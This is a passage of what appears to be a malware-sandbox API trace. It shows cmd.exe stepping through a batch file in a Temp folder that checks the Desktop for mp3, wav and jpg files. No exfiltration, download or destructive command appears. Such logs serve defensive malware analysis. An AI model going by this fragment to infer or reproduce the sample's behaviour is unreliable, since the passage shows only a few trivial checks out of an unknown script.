lpDistanceToMoveHigh=0x0) returned 0x85a [0038.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0038.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.313] GetFileType (hFile=0x74) returned 0x1 [0038.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.313] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.313] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.313] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.313] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.313] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.313] GetProcessHeap () returned 0x4e0000 [0038.313] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.313] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.314] GetProcessHeap () returned 0x4e0000 [0038.314] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.314] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.314] _tell (_FileHandle=3) returned 2138 [0038.314] _close (_FileHandle=3) returned 0 [0038.314] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0038.314] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.314] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.315] GetLastError () returned 0x2 [0038.315] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.315] GetLastError () returned 0x6 [0038.315] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.315] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.315] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.315] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.315] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.315] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.315] SetConsoleInputExeNameW () returned 0x1 [0038.315] GetConsoleOutputCP () returned 0x1b5 [0038.316] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.316] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.316] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.316] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.316] GetProcessHeap () returned 0x4e0000 [0038.317] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0038.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd3, lpOverlapped=0x0) returned 1 [0038.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0038.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0038.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.317] GetFileType (hFile=0x74) returned 0x1 [0038.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0038.317] GetProcessHeap () returned 0x4e0000 [0038.317] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.317] GetProcessHeap () returned 0x4e0000 [0038.317] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.317] _tell (_FileHandle=3) returned 2140 [0038.317] _close (_FileHandle=3) returned 0 [0038.317] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.317] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0038.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0038.318] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd1, lpOverlapped=0x0) returned 1 [0038.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0038.318] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0038.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.318] GetFileType (hFile=0x74) returned 0x1 [0038.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0038.318] GetProcessHeap () returned 0x4e0000 [0038.318] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.318] GetProcessHeap () returned 0x4e0000 [0038.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.318] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.318] GetProcessHeap () returned 0x4e0000 [0038.318] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.318] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.318] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.318] GetProcessHeap () returned 0x4e0000 [0038.318] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.319] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.319] GetProcessHeap () returned 0x4e0000 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.319] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.319] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.319] GetProcessHeap () returned 0x4e0000 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.319] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.319] GetProcessHeap () returned 0x4e0000 [0038.319] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.319] GetProcessHeap () returned 0x4e0000 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.319] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.320] _tell (_FileHandle=3) returned 2165 [0038.320] _close (_FileHandle=3) returned 0 [0038.320] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0038.320] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.320] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.320] GetLastError () returned 0x2 [0038.320] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.320] GetLastError () returned 0x6 [0038.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.320] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.321] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.321] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.321] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.321] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.321] SetConsoleInputExeNameW () returned 0x1 [0038.321] GetConsoleOutputCP () returned 0x1b5 [0038.321] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.321] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.322] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.322] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.322] GetProcessHeap () returned 0x4e0000 [0038.322] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0038.322] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db8, lpOverlapped=0x0) returned 1 [0038.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0038.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0038.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.323] GetFileType (hFile=0x74) returned 0x1 [0038.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0038.323] GetProcessHeap () returned 0x4e0000 [0038.323] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.323] GetProcessHeap () returned 0x4e0000 [0038.323] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.323] _tell (_FileHandle=3) returned 2167 [0038.323] _close (_FileHandle=3) returned 0 [0038.323] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.323] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0038.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0038.323] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db6, lpOverlapped=0x0) returned 1 [0038.324] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0038.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0038.324] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.324] GetFileType (hFile=0x74) returned 0x1 [0038.324] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.324] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.324] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.324] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.324] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.324] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.324] GetProcessHeap () returned 0x4e0000 [0038.324] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.324] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.325] GetProcessHeap () returned 0x4e0000 [0038.325] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.325] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.325] GetProcessHeap () returned 0x4e0000 [0038.325] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.325] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.325] _tell (_FileHandle=3) returned 2192 [0038.325] _close (_FileHandle=3) returned 0 [0038.325] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0038.326] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.326] GetLastError () returned 0x2 [0038.326] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.326] GetLastError () returned 0x6 [0038.326] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.326] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.326] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.326] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.326] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.326] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.327] SetConsoleInputExeNameW () returned 0x1 [0038.327] GetConsoleOutputCP () returned 0x1b5 [0038.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.327] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.327] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.327] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.327] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.327] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.327] GetProcessHeap () returned 0x4e0000 [0038.327] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.328] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.328] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0038.328] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9d, lpOverlapped=0x0) returned 1 [0038.328] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, 